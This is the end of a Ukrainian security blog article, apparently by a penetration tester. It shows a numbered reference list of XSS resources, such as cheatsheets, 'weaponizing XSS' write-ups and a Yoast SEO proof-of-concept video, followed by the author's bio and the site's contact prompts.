  98. Exploit-DB. [Italian] XSS:Cross Site Scripting Guide
  99. Hackerconnected. Full XSS Cheatsheet
  100. Reddit. XSS.
  101. Trustedsec. Drew Kirkpatrick. Tricks for Weaponizing XSS
  102. How to craft an XSS payload to create an admin user in WordPress
  103. GitHub. Weaponized XSS.
  104. Weaponizing XSS
  105. Fastly. Active exploitation of unauthenticated stored XSS vulnerabilities in WordPress Plugins
  106. How Hackers Create Hidden Admin Users on your WordPress Blog
  107. Rio Asmara Suryadi. From XSS CSRF + Command Injection To Reverse Shell
  108. Vimeo. POC – Yoast SEO <22.5 Reflected XSS

ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:

Picture of Konrad Ravenstone
Konrad Ravenstone
Український білий хакер. Аудитор, OSINT-аналітик. Penetration Tester в KR. Laboratories. Досліджує інтернет-технології з 2011 року. Впроваджує кіберзахист інформаційних систем та електронних ресурсів на всіх рівнях.
Усі записи
Варто прочитати:
MENU
Отримати комерційну пропозицію
Оформити заявку
Замовити консультацію
Замовити дзвінок

Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!